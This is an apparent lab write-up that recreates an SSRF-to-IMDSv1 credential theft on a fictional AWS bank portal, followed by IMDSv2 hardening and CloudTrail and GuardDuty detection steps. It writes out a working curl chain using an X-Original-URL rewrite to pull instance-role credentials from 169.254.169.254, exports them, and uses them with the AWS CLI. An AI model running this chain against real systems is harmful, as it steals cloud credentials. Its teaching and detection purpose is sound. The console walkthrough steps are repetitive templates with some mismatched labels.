What this article is about
On 18 April 2025, Fortinet published an anonymised incident-response case involving a large cooperative bank migrating to AWS. Investigators reported SSRF in a public-facing web application reached through its public IP, exposed an EC2 IAM role through IMDSv1 and left evidence in CloudTrail and FortiCNAPP. The environment also had an over-permissive instance role and no WAF in front of the application load balancer; the response included IMDSv2, WAF protection, tighter IAM and improved monitoring [7]. Expel separately reported that SSRF accounted for 28% of the cloud incidents its SOC observed in 2023 and identified the EC2 role-credential path at 169.254.169.254 as the main technique [8].
AWS introduced IMDSv2 as defence in depth for open proxies, firewalls and SSRF vulnerabilities. It requires a session token obtained with an HTTP PUT before metadata can be read, and AWS says this combination protects against the vast majority of SSRF paths it analysed [1]. EC2 can be configured to reject IMDSv1 by setting metadata tokens to required [2].
ObservedThe application accepts the approved document URL.
Next stepSubmit the request and confirm the expected preview response.
ObservedThe ordinary member-document preview succeeds.
Next stepInspect the request and application source to understand the server-side fetch.
Fortinet does not name the affected bank, application framework, vulnerable route or post-compromise API sequence. The fictional Northwind Cooperative member-document portal, its FastAPI preview route, the rewrite flaw and the bounded STS, IAM and S3 actions are original lab assumptions chosen to recreate the sourced SSRF-to-IMDSv1 pattern safely. The lab is private behind Systems Manager rather than exposing a deliberately vulnerable public application. No victim system, real personal data or reusable credential is used.
- Sourced factFortinet documented a 2025 AWS incident in which SSRF against a public-facing application exposed IAM role credentials through IMDSv1 [7].
- Sourced factExpel found SSRF was the second most common cloud-incident cause its SOC observed in 2023, at 28% [8].
- Sourced factIMDS can provide temporary credentials for an EC2 instance role, while IMDSv2 adds session-oriented protections [1] [2].
- Lab assumptiona preview feature validates one route, then trusts a client-controlled internal rewrite header.
- Lab assumptionthe attached role can inspect its own exact role metadata and read one harmless versioned S3 marker whose archive location is exposed by the fictional application.
- Observed resultthe private qualification completed the bounded chain and produced application, CloudTrail, Config and Security Hub evidence plus two same-run GuardDuty findings: instance-credential exfiltration and Kali Linux activity.
Why IMDSv1 makes this attack possible
The important difference is the request sequence. IMDSv1 accepts a direct tokenless GET to the link-local metadata address. IMDSv2 first requires a session token obtained with an HTTP PUT, then requires that token on the later metadata GET [1] [2]. A simple SSRF path that can issue only the final GET can therefore reach IMDSv1 but cannot complete the IMDSv2 exchange.
IMDSv1: one tokenless request
The vulnerable server follows the attacker-controlled URL to 169.254.169.254 and receives metadata without first obtaining a session token.
Instance role: temporary credentials
The role-name path identifies the attached EC2 role. Appending that observed name returns its short-lived credential document.
IMDSv2: token exchange required
The hardened target requires a PUT-created token and the token header on the metadata GET. Replaying the same tokenless SSRF request is rejected.
IMDSv1
GET /latest/meta-data/... → metadata returned
IMDSv2
PUT /latest/api/token → session token
GET /latest/meta-data/... + token header → metadata returned
Same tokenless SSRF GET → blockedThe application must still validate the final destination after rewrites and redirects, while the EC2 role must remain least-privileged. IMDSv2 prevents this tokenless metadata chain from becoming a credential theft path.
The recreated AWS environment
The private lab creates an isolated VPC with paired FastAPI targets on EC2, bounded IAM, a synthetic S3 object and deterministic telemetry. Neither target accepts inbound application traffic; the operator reaches each one through an authenticated Systems Manager tunnel. The application, role and data stay the same while the EC2 metadata-token setting changes.
Attack path and trust boundaries
The weakness is not “FastAPI” by itself. It is the trust decision after validation: the application checks the requested target, then accepts a separate internal rewrite value. That lets a crafted request reach IMDSv1, retrieve a temporary instance-role credential and use only the synthetic permissions deliberately granted by this lab.
Attacker view: reconnaissance and hypothesis
The story starts at the application, not at IMDS. A visitor sees a fictional member-document portal that accepts a Document URL and returns a preview. That user-controlled URL is the first SSRF signal: the server, rather than the browser, may be making the outbound request.
Observe the feature
The application asks for a Document URL. That establishes an attacker-controlled input which may cause a server-side fetch.
Map the request
The delivered page identifies POST /api/preview and the target_url JSON field. The Kali capture comes from the real page returned by the private target.
Establish the baseline
A harmless request through the normal route receives HTTP 403 NORMAL_DENIAL. At this point SSRF is still a hypothesis, not a finding.
Confirm, then escalate
The following live attack tests the separate trusted-rewrite input. Only its HTTP 200 response from the IMDS role path confirms the bypass.
The preview form is observable. The trusted rewrite weakness is an explicit lab assumption until the bounded request proves it. The article keeps that distinction so reconnaissance is not presented as exploitation.
Attacker view: inspect the harmless HTTP baseline with mitmproxy
The screenshot below is mitmweb, the browser interface supplied with mitmproxy. It was used during the local Kali rehearsal to keep one harmless POST /api/preview request and its 403 response together on screen. This makes the changed target_url easy to inspect, but it is not the source of the qualified AWS attack evidence and it never receives the temporary credential.
The left pane is the captured flow list; the selected POST returned 403. The right pane shows the selected flow. Request displays its headers and JSON body, while Response displays the application result. The address ending :8082 is mitmweb itself; the request target ending :8765 is the temporary loopback application used by this local rehearsal.
curl -i -sS \
-H 'Content-Type: application/json' \
-d '{"target_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
http://member-documents.northwind.test:8000/api/previewObservedThe same legitimate endpoint carries an attacker-controlled server-side fetch target.
Next stepOpen the actual response and retain it as the denied control case.
ObservedThe direct metadata target is denied with HTTP 403 NORMAL_DENIAL.
Next stepKeep the target unchanged and test only the separate trusted internal rewrite hypothesis.
Select POST /api/preview
Known: normal preview generation already proved this endpoint is part of the real application workflow. Selecting it keeps the investigation tied to an observed request.
Inspect target_url
Inference: because the server accepts a user-supplied document address, changing only this value tests whether the application can be steered toward 169.254.169.254.
Open the response
The literal 403 NORMAL_DENIAL control proves the direct metadata URL is blocked. That observation justifies testing the separate client-controlled internal rewrite without changing any other input.
The proxy is used only for requests and responses that contain no credential. The role-credential response stays inside the guarded process so a proxy history, project file or browser cannot persist reusable values.
Lab setup: confirm the deliberately vulnerable target
This is validation performed by the lab builder, not knowledge available to an external attacker. It proves the target was intentionally configured to accept tokenless IMDSv1 requests before the attack evidence is interpreted.
The reconnaissance probe identified a server-side URL fetch and the bounded rewrite test reached the metadata route.
- 1entry
EC2
Click: EC2
Open the EC2 service landing page. Open EC2.
Why: Use this step to confirm the current evidence before moving on: The reconnaissance probe identified a server-side URL fetch and the bounded rewrite test reached the metadata route.
Expected evidence: The highlighted EC2 control or evidence is visible.
Next pivot: Continue to Instances.
1. Open the EC2 service landing page. Open EC2. This matters because it preserves the declared investigation path: The reconnaissance probe identified a server-side URL fetch and the bounded rewrite test reached the metadata route. - 2navigation
Instances
Click: Instances
Choose Instances from the EC2 navigation. Click Instances.
Why: Use this step to confirm the current evidence before moving on: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.
Expected evidence: The highlighted Instances control or evidence is visible.
Next pivot: Continue to target-instance.
2. Choose Instances from the EC2 navigation. Click Instances. This matters because it preserves the declared investigation path: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token. - 3filter
target-instance
Click: target-instance
Filter the list to the readable current-run target pseudonym. Open target-instance.
Why: Use this step to confirm the current evidence before moving on: Select only the target instance created for this qualification run.
Expected evidence: The highlighted target-instance control or evidence is visible.
Next pivot: Continue to target-instance.
3. Filter the list to the readable current-run target pseudonym. Open target-instance. This matters because it preserves the declared investigation path: Select only the target instance created for this qualification run. - 4selection
target-instance
Click: target-instance
Select the visible enabled target-instance row. Click target-instance.
Why: Use this step to confirm the current evidence before moving on: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.
Expected evidence: The highlighted target-instance control or evidence is visible.
Next pivot: Continue to Details.
4. Select the visible enabled target-instance row. Click target-instance. This matters because it preserves the declared investigation path: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token. - 5detail
Details
Click: Details
Open the Details tab. Click Details.
Why: Use this step to confirm the current evidence before moving on: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.
Expected evidence: The highlighted Details control or evidence is visible.
Next pivot: Continue to IMDSv2.
5. Open the Details tab. Click Details. This matters because it preserves the declared investigation path: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token. - 6evidence
IMDSv2
Click: IMDSv2
Locate IMDSv2 and confirm that the value is Optional. Open IMDSv2.
Why: Use this step to confirm the current evidence before moving on: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.
Expected evidence: The highlighted IMDSv2 control or evidence is visible.
Next pivot: Continue to IMDSv2, Optional.
6. Locate IMDSv2 and confirm that the value is Optional. Open IMDSv2. This matters because it preserves the declared investigation path: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token. - 7evidence
IMDSv2, Optional
Click: IMDSv2, Optional
Locate IMDSv2 and confirm that the value is Optional. Open IMDSv2, Optional.
Why: Use this step to confirm the current evidence before moving on: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.
Expected evidence: IMDSv2 is Optional.
Next pivot: Correlate run_id, target_instance_id with the next evidence source.
7. Locate IMDSv2 and confirm that the value is Optional. Open IMDSv2, Optional. This matters because it preserves the declared investigation path: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.
The target accepts IMDSv1 requests, so an application-side SSRF can reach instance metadata without an IMDSv2 token. Expected state: IMDSv2 is Optional.
Attacker view: execute the bounded chain
The live_qualification.py program is a safety harness around real HTTP and AWS CLI actions. It performs the request, checks the exact disposable Range account before every AWS call, pauses the running Kali terminal so CI can photograph the genuine result, and removes the temporary credential from memory when the chain ends. It does not manufacture terminal screenshots or replay a transcript.
curl -i -sS \
-H 'Content-Type: application/json' \
-d '{"target_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
http://member-documents.northwind.test:8000/api/previewObservedHTTP 403 with the literal synthetic application marker NORMAL_DENIAL.
Next stepBecause the normal route denied the same target, test the one declared trusted-rewrite hypothesis without changing the metadata path.
ROLE_NAME=$(curl -sS \
-H 'Content-Type: application/json' \
-H 'X-Original-URL: /internal/preview' \
-d '{"target_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
http://member-documents.northwind.test:8000/api/preview)
printf 'Discovered role: %s\n' "$ROLE_NAME"ObservedHTTP 200 containing the exact run-bound EC2 role name and no credential value.
Next stepThe returned role name makes the credential-document path knowable; append that observed name rather than guessing a role.
CRED_JSON=$(curl -sS \
-H 'Content-Type: application/json' \
-H 'X-Original-URL: /internal/preview' \
-d "{\"target_url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME\"}" \
http://member-documents.northwind.test:8000/api/preview)
export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId <<<"$CRED_JSON")
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey <<<"$CRED_JSON")
export AWS_SESSION_TOKEN=$(jq -r .Token <<<"$CRED_JSON")
printf 'Temporary credential acquired\n'ObservedA short-lived AWS-HMAC credential document with the required schema; secret values remain in process memory and are never rendered.
Next stepA credential is not yet useful evidence of access; use it for the smallest signed AWS request and verify the exact disposable Range account.
aws sts get-caller-identityObservedThe account guard matches and STS identifies the assumed target role.
Next stepThe STS ARN and earlier IMDS response identify the compromised role; inspect only that exact role next.
aws iam get-role --role-name "$ROLE_NAME"ObservedGetRole confirms the exact target role and path without enumerating unrelated IAM roles.
Next stepThe application-source archive hint supplies the S3 bucket and prefix; use those observed values for one capped list request.
ARCHIVE_URI=$(curl -sS http://member-documents.northwind.test:8000/portal-config.js \
| grep -oE 's3://[^" ]+' | head -1)
ARCHIVE_BUCKET=${ARCHIVE_URI#s3://}
ARCHIVE_BUCKET=${ARCHIVE_BUCKET%%/*}
ARCHIVE_PREFIX=${ARCHIVE_URI#s3://$ARCHIVE_BUCKET/}
OBJECT_KEY=$(aws s3api list-objects-v2 \
--bucket "$ARCHIVE_BUCKET" \
--prefix "$ARCHIVE_PREFIX" \
--max-keys 1 \
--query 'Contents[0].Key' --output text)
VERSION_ID=$(aws s3api head-object \
--bucket "$ARCHIVE_BUCKET" \
--key "$OBJECT_KEY" \
--query VersionId --output text)
printf 'Discovered object: %s\n' "$OBJECT_KEY"ObservedExactly one synthetic object key, size and version are returned.
Next stepThe list and metadata responses make one exact versioned object knowable; read only that returned version.
aws s3api get-object \
--bucket "$ARCHIVE_BUCKET" \
--key "$OBJECT_KEY" \
--version-id "$VERSION_ID" \
$HOME/synthetic-marker.json
cat $HOME/synthetic-marker.jsonObservedThe synthetic marker and SHA-256 match; no unrelated object is requested.
Next stepThe bounded impact proof is complete, so discard the temporary credential and end the chain.
The recovered AccessKeyId, SecretAccessKey and Token exist only in the child-process environment used for each AWS CLI call. The harness never runs aws configure, writes ~/.aws or exposes operator SSO credentials to Kali.
The following credential hand-off and account guard are copied from the executable live_qualification.py harness.
def attacker_environment(credentials: dict[str, Any], region: str) -> dict[str, str]:
required = {"AccessKeyId", "SecretAccessKey", "Token", "Expiration"}
if set(credentials) < required:
raise QualificationError("IMDS response omitted a temporary credential field")
access_key = credentials["AccessKeyId"]
if not isinstance(access_key, str) or not access_key.startswith("ASIA"):
raise QualificationError("IMDS response was not a temporary AWS credential")
values = {
"PATH": os.environ.get("PATH", "/usr/local/bin:/usr/bin:/bin"),
"HOME": os.environ.get("HOME", "/home/kali"),
"AWS_ACCESS_KEY_ID": str(access_key),
"AWS_SECRET_ACCESS_KEY": str(credentials["SecretAccessKey"]),
"AWS_SESSION_TOKEN": str(credentials["Token"]),
"AWS_REGION": region,
"AWS_DEFAULT_REGION": region,
"AWS_EC2_METADATA_DISABLED": "true",
"AWS_PAGER": "",
}
return values
def guarded_identity_response(
environment: dict[str, str], account_id: str
) -> tuple[dict[str, Any], dict[str, Any]]:
identity = aws_json(
["sts", "get-caller-identity"],
environment=environment,
)
if identity.get("Account") != account_id:
raise QualificationError(
"Range identity guard failed before an attacker AWS action"
)
return (
{
"account_match": True,
"arn_class": "assumed-role",
},
identity,
)Prove that the trusted rewrite reaches the exact IMDS role path, then use the temporary credential only against the lab account and synthetic resources.
Python live qualification harness and AWS CLI
This scenario needs process-memory credential handling and an account guard before every AWS action. A generic proxy or scanner would risk placing credential bytes in history, logs or artifacts.
Show reviewed definition or learner request
# Discover the role name through the trusted rewrite
ROLE_NAME=$(curl -sS \
-H 'Content-Type: application/json' \
-H 'X-Original-URL: /internal/preview' \
-d '{"target_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
http://member-documents.northwind.test:8000/api/preview)
printf 'Discovered role: %s\n' "$ROLE_NAME"
# Request the temporary credential document for that returned role
CRED_JSON=$(curl -sS \
-H 'Content-Type: application/json' \
-H 'X-Original-URL: /internal/preview' \
-d "{\"target_url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME\"}" \
http://member-documents.northwind.test:8000/api/preview)
export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId <<<"$CRED_JSON")
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey <<<"$CRED_JSON")
export AWS_SESSION_TOKEN=$(jq -r .Token <<<"$CRED_JSON")
printf 'Temporary credential acquired\n'Prepared launcher
Loads the run-bound private inputs and refuses an unqualified account, scenario or expected result.
Normal denial first
Sends the same metadata target without the trusted rewrite and requires the application to deny it before contacting IMDS.
Credential acquisition
Uses the returned role name only to fetch its temporary credential document, validates the four required fields and moves the response into locked process memory without rendering it.
Off-instance role use
Uses that stolen session for STS identity confirmation, bounded IAM reconnaissance and one exact synthetic S3 object read, then discards it.
- Expected result
- Range reports FULL_CHAIN_EXECUTED with seven safe markers; Secure reports CHAIN_BLOCKED_BY_IMDSV2 before credential acquisition.
- Observed result
- The qualified Range run completed all seven steps. The Secure qualification blocked the tokenless metadata request and performed zero attacker AWS actions.
Safety boundary
Private disposable lab only. No public target, arbitrary metadata path, unrestricted IAM output, object payload or credential field is rendered or uploaded.
FULL_CHAIN_EXECUTED means more than reaching IMDS. The tokenless IMDSv1 request returned a temporary EC2-role credential document; that stolen session was then used outside the instance for bounded STS, IAM and S3 actions before the credential was discarded.
- Application request → FastAPI structured event in CloudWatch Logs.
- STS GetCallerIdentity and IAM actions → CloudTrail management events and event JSON.
- Synthetic S3 read → CloudTrail object-level S3 data event.
- Off-instance role use → GuardDuty InstanceCredentialExfiltration.OutsideAWS finding.
- GetRole from the recorded Kali client → GuardDuty PenTest:IAMUser/KaliLinux finding.
- Tokenless metadata posture → AWS Config and Security Hub control results.
The technique is genuine credential exfiltration and use, but the impact target is deliberately synthetic. The role can inspect only the admitted lab path and one harmless marker; it cannot modify infrastructure, browse unrelated data or make the credential reusable outside this run.
Impact context: follow the EC2 role to its permissions
Credential acquisition matters because the temporary session inherits the EC2 role attached to the target. The next qualified capture must show that relationship in the AWS Console rather than expecting the reader to infer it from an ARN. The lab role is intentionally narrow; a production role with broader permissions would widen the same stolen credential’s impact.
IMDS exposes the temporary credential, but the attached IAM policy decides what that credential can do. Least privilege limits blast radius; AdministratorAccess would turn the same path into a much wider account compromise.
The selected EC2 target exposes its attached IAM role in the Details tab.
- 1entry
EC2
Click: EC2
Open the EC2 service landing page and choose Instances. Open EC2.
Why: Use this step to confirm the current evidence before moving on: The selected EC2 target exposes its attached IAM role in the Details tab.
Expected evidence: The highlighted EC2 control or evidence is visible.
Next pivot: Continue to Instances.
1. Open the EC2 service landing page and choose Instances. Open EC2. This matters because it preserves the declared investigation path: The selected EC2 target exposes its attached IAM role in the Details tab. - 2navigation
Instances
Click: Instances
Filter the list to the readable current-run target pseudonym. Click Instances.
Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
Expected evidence: The highlighted Instances control or evidence is visible.
Next pivot: Continue to target-instance.
2. Filter the list to the readable current-run target pseudonym. Click Instances. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use. - 3filter
target-instance
Click: target-instance
Select the visible target instance and open its Details tab. Open target-instance.
Why: Use this step to confirm the current evidence before moving on: Use the current-run target and role names so unrelated workload identities do not enter the evidence frame.
Expected evidence: The highlighted target-instance control or evidence is visible.
Next pivot: Continue to target-instance.
3. Select the visible target instance and open its Details tab. Open target-instance. This matters because it preserves the declared investigation path: Use the current-run target and role names so unrelated workload identities do not enter the evidence frame. - 4selection
target-instance
Click: target-instance
Follow the attached IAM role link from the instance profile details. Click target-instance.
Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
Expected evidence: The highlighted target-instance control or evidence is visible.
Next pivot: Continue to Details.
4. Follow the attached IAM role link from the instance profile details. Click target-instance. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use. - 5detail
Details
Click: Details
Expand the run-bound inline policy on the role Permissions tab. Click Details.
Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
Expected evidence: The highlighted Details control or evidence is visible.
Next pivot: Continue to fastapi-target-northwind-range-review.
5. Expand the run-bound inline policy on the role Permissions tab. Click Details. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use. - 6selection
fastapi-target-northwind-range-review
Click: fastapi-target-northwind-range-review
Follow the attached IAM role link from the instance profile details. Open fastapi-target-northwind-range-review.
Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
Expected evidence: The highlighted fastapi-target-northwind-range-review control or evidence is visible.
Next pivot: Continue to bounded-fastapi-scenario-final-range-20260813c.
6. Follow the attached IAM role link from the instance profile details. Open fastapi-target-northwind-range-review. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use. - 7selection
bounded-fastapi-scenario-final-range-20260813c
Click: bounded-fastapi-scenario-final-range-20260813c
Follow the attached IAM role link from the instance profile details. Click bounded-fastapi-scenario-final-range-20260813c.
Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
Expected evidence: The highlighted bounded-fastapi-scenario-final-range-20260813c control or evidence is visible.
Next pivot: Continue to s3:GetObjectVersion.
7. Follow the attached IAM role link from the instance profile details. Click bounded-fastapi-scenario-final-range-20260813c. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use. - 8selection
s3:GetObjectVersion
Click: s3:GetObjectVersion
Follow the attached IAM role link from the instance profile details. Open s3:GetObjectVersion.
Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
Expected evidence: The highlighted s3:GetObjectVersion control or evidence is visible.
Next pivot: Continue to kms:Decrypt.
8. Follow the attached IAM role link from the instance profile details. Open s3:GetObjectVersion. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use. - 9selection
kms:Decrypt
Click: kms:Decrypt
Follow the attached IAM role link from the instance profile details. Open kms:Decrypt.
Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
Expected evidence: The highlighted kms:Decrypt control or evidence is visible.
Next pivot: Continue to kms:Decrypt.
9. Follow the attached IAM role link from the instance profile details. Open kms:Decrypt. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use. - 10evidence
kms:Decrypt
Click: kms:Decrypt
Review the bounded IAM, S3 and KMS statements before following the attacker actions. Open kms:Decrypt.
Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
Expected evidence: The run-bound workload role exposes only its own IAM metadata, one synthetic S3 prefix and the exact KMS key needed for that harmless object.
Next pivot: Correlate run_id, target_instance_id, target_role_name with the next evidence source.
10. Review the bounded IAM, S3 and KMS statements before following the attacker actions. Open kms:Decrypt. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
The instance details lead to the attached role and its exact bounded permissions, showing what the stolen temporary credential could actually do. Expected state: The run-bound workload role exposes only its own IAM metadata, one synthetic S3 prefix and the exact KMS key needed for that harmless object.
Defender view: application and CloudTrail investigation
The attacker-side action_id and timestamp are the first defender pivot. Start in the FastAPI application log to prove which bounded action ran, then carry that exact time window and temporary-role context into the CloudTrail log stream. S3 object activity appears only when data-event logging is explicitly configured [4].
The attacker terminal returned the temporary-credential acquisition marker for the current action.
- 1entry
CloudWatch
Click: CloudWatch
Open CloudWatch from the AWS Console service menu. Open CloudWatch.
Why: Use this step to confirm the current evidence before moving on: The attacker terminal returned the temporary-credential acquisition marker for the current action.
Expected evidence: The highlighted CloudWatch control or evidence is visible.
Next pivot: Continue to Logs.
1. Open CloudWatch from the AWS Console service menu. Open CloudWatch. This matters because it preserves the declared investigation path: The attacker terminal returned the temporary-credential acquisition marker for the current action. - 2navigation
Logs
Click: Logs
Expand Logs, then choose Log Management and Log groups. Click Logs.
Why: Use this step to confirm the current evidence before moving on: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.
Expected evidence: The highlighted Logs control or evidence is visible.
Next pivot: Continue to Log Management.
2. Expand Logs, then choose Log Management and Log groups. Click Logs. This matters because it preserves the declared investigation path: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity. - 3navigation
Log Management
Click: Log Management
Expand Logs, then choose Log Management and Log groups. Click Log Management.
Why: Use this step to confirm the current evidence before moving on: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.
Expected evidence: The highlighted Log Management control or evidence is visible.
Next pivot: Continue to /external-threat-mapping/incident-lab/northwind-range-review/fastapi-target.
3. Expand Logs, then choose Log Management and Log groups. Click Log Management. This matters because it preserves the declared investigation path: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity. - 4selection
/external-threat-mapping/incident-lab/northwind-range-review/fastapi-target
Click: /external-threat-mapping/incident-lab/northwind-range-review/fastapi-target
Open the pseudonymised current-run FastAPI target log group and application stream. Click /external-threat-mapping/incident-lab/northwind-range-review/fastapi-target.
Why: Use this step to confirm the current evidence before moving on: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.
Expected evidence: The highlighted /external-threat-mapping/incident-lab/northwind-range-review/fastapi-target control or evidence is visible.
Next pivot: Continue to target-instance/application.
4. Open the pseudonymised current-run FastAPI target log group and application stream. Click /external-threat-mapping/incident-lab/northwind-range-review/fastapi-target. This matters because it preserves the declared investigation path: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity. - 5selection
target-instance/application
Click: target-instance/application
Open the pseudonymised current-run FastAPI target log group and application stream. Click target-instance/application.
Why: Use this step to confirm the current evidence before moving on: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.
Expected evidence: The highlighted target-instance/application control or evidence is visible.
Next pivot: Continue to "acquire-temporary-credential".
5. Open the pseudonymised current-run FastAPI target log group and application stream. Click target-instance/application. This matters because it preserves the declared investigation path: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity. - 6filter
"acquire-temporary-credential"
Click: "acquire-temporary-credential"
Filter for acquire-temporary-credential because that is the attacker action just observed. Open "acquire-temporary-credential".
Why: Use this step to confirm the current evidence before moving on: Filter on acquire-temporary-credential so unrelated application requests do not enter the evidence frame.
Expected evidence: The highlighted "acquire-temporary-credential" control or evidence is visible.
Next pivot: Continue to acquire-temporary-credential.
6. Filter for acquire-temporary-credential because that is the attacker action just observed. Open "acquire-temporary-credential". This matters because it preserves the declared investigation path: Filter on acquire-temporary-credential so unrelated application requests do not enter the evidence frame. - 7evidence
acquire-temporary-credential
Click: acquire-temporary-credential
Select the visible correlated application event row. Open acquire-temporary-credential.
Why: Use this step to confirm the current evidence before moving on: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.
Expected evidence: The highlighted acquire-temporary-credential control or evidence is visible.
Next pivot: Continue to acquire-temporary-credential.
7. Select the visible correlated application event row. Open acquire-temporary-credential. This matters because it preserves the declared investigation path: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity. - 8detail
acquire-temporary-credential
Click: acquire-temporary-credential
Open the event detail and confirm the run, action, request and response-hash fields. Open acquire-temporary-credential.
Why: Use this step to confirm the current evidence before moving on: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.
Expected evidence: The bounded route denial, metadata role-path reach and temporary-credential acquisition actions are visible.
Next pivot: Correlate run_id, action_id, request_id, response_sha256 with the next evidence source.
8. Open the event detail and confirm the run, action, request and response-hash fields. Open acquire-temporary-credential. This matters because it preserves the declared investigation path: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.
The application log ties the bounded SSRF steps to this exact qualification run. Expected state: The bounded route denial, metadata role-path reach and temporary-credential acquisition actions are visible.
The application event proved temporary credentials were acquired for the current run.
- 1entry
CloudWatch
Click: CloudWatch
From the application event, pivot to the CloudWatch service landing page. Open CloudWatch.
Why: Use this step to confirm the current evidence before moving on: The application event proved temporary credentials were acquired for the current run.
Expected evidence: The highlighted CloudWatch control or evidence is visible.
Next pivot: Continue to Logs.
1. From the application event, pivot to the CloudWatch service landing page. Open CloudWatch. This matters because it preserves the declared investigation path: The application event proved temporary credentials were acquired for the current run. - 2navigation
Logs
Click: Logs
Expand Logs, then choose Log Management and Log groups. Click Logs.
Why: Use this step to confirm the current evidence before moving on: Determine whether the acquired temporary session was used to identify its AWS principal.
Expected evidence: The highlighted Logs control or evidence is visible.
Next pivot: Continue to Log Management.
2. Expand Logs, then choose Log Management and Log groups. Click Logs. This matters because it preserves the declared investigation path: Determine whether the acquired temporary session was used to identify its AWS principal. - 3navigation
Log Management
Click: Log Management
Expand Logs, then choose Log Management and Log groups. Click Log Management.
Why: Use this step to confirm the current evidence before moving on: Determine whether the acquired temporary session was used to identify its AWS principal.
Expected evidence: The highlighted Log Management control or evidence is visible.
Next pivot: Continue to /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail.
3. Expand Logs, then choose Log Management and Log groups. Click Log Management. This matters because it preserves the declared investigation path: Determine whether the acquired temporary session was used to identify its AWS principal. - 4selection
/external-threat-mapping/incident-lab/northwind-range-review/cloudtrail
Click: /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail
Open the pseudonymised current-run CloudTrail log group and choose Search all log streams. Click /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail.
Why: Use this step to confirm the current evidence before moving on: Determine whether the acquired temporary session was used to identify its AWS principal.
Expected evidence: The highlighted /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail control or evidence is visible.
Next pivot: Continue to Search all log streams.
4. Open the pseudonymised current-run CloudTrail log group and choose Search all log streams. Click /external-threat-mapping/incident-lab/northwind-range-review/cloudtrail. This matters because it preserves the declared investigation path: Determine whether the acquired temporary session was used to identify its AWS principal. - 5selection
Search all log streams
Click: Search all log streams
Open the pseudonymised current-run CloudTrail log group and choose Search all log streams. Click Search all log streams.
Why: Use this step to confirm the current evidence before moving on: Determine whether the acquired temporary session was used to identify its AWS principal.
Expected evidence: The highlighted Search all log streams control or evidence is visible.
Next pivot: Continue to current-instance-credential-events.
5. Open the pseudonymised current-run CloudTrail log group and choose Search all log streams. Click Search all log streams. This matters because it preserves the declared investigation path: Determine whether the acquired temporary session was used to identify its AWS principal. - 6filter
current-instance-credential-events
Click: current-instance-credential-events
Filter for credentials issued to the selected EC2 instance, then choose GetCallerIdentity because the next question is which principal used that session. Open current-instance-credential-events.
Why: Use this step to confirm the current evidence before moving on: Filter for events whose credentialsIssuedTo field names the current EC2 instance, then select GetCallerIdentity so workflow and deployment-role activity cannot enter the evidence frame.
Expected evidence: The highlighted current-instance-credential-events control or evidence is visible.
Next pivot: Continue to GetCallerIdentity.
6. Filter for credentials issued to the selected EC2 instance, then choose GetCallerIdentity because the next question is which principal used that session. Open current-instance-credential-events. This matters because it preserves the declared investigation path: Filter for events whose credentialsIssuedTo field names the current EC2 instance, then select GetCallerIdentity so workflow and deployment-role activity cannot enter the evidence frame. - 7evidence
GetCallerIdentity
Click: GetCallerIdentity
Select the matching event row and use its enabled expander. Open GetCallerIdentity.
